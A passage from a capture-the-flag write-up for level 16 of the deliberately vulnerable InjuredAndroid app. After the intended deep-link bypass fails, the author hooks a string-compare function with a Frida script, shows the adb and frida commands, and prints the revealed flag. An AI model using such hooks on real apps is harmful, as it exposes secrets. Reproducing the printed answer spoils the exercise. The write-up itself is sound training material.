I tried that approach as well but still it didn’t work. So yeah. I guess the website is broken. One thing could be done is to use frida
to get the flag when it is being fetched from the database but I didn’t go into it as it wasn’t the way to solve the challenge.
Please let me know though if I am doing something wrong somewhere in this.
Yep. I got frustrated after a few hours of this thing not working. So I decided to write the frida-script
to get the flag.
So after the intent adb shell am start -a android.intent.action.VIEW -d "http://b3nac.com/aaaa/
is sent to the app, at-first the DeekLink
activity was opening (It also has the https scheme, so probably the link is going there and maybe not going to the CSPBypassActivity? Not really sure). Then after one back, we have the flag submission text box
It is clearly seen that the request didn’t yield a proper response. Well according to the intended solution, the flag was supposed to be shown here instead of Try another url
.
The frida script to get the flag :-
Java.perform(function() {
let g = Java.use("d.s.d.g");
g["a"].implementation = function (obj, obj2) {
console.log(`g.a is called: obj=${obj}, obj2=${obj2}`);
let result = this["a"](obj, obj2);
console.log(`g.a result=${result}`);
return result;
};
});
Jadx
has this nice feature of copy as a frida script
. The above code is from there. The function whose behavior we are observing is basically the check function and just checks whether two strings are equal or not.
Note :- The frida-server should be started and the app must be started using frida before sending the intent to get to the above screen.
Start the app using frida and loading the script :- frida -U -f b3nac.injuredandroid -l .\lvl_16.js
Now we put some arbitrary value in the textbox and then submit
.
Result from frida
:-
g.a is called: obj=aaaa, obj2=[Nice_Work]
g.a result=false
And thus we have out flag. This highlights the capability of Frida
as well.
Flag :- [Nice_Work]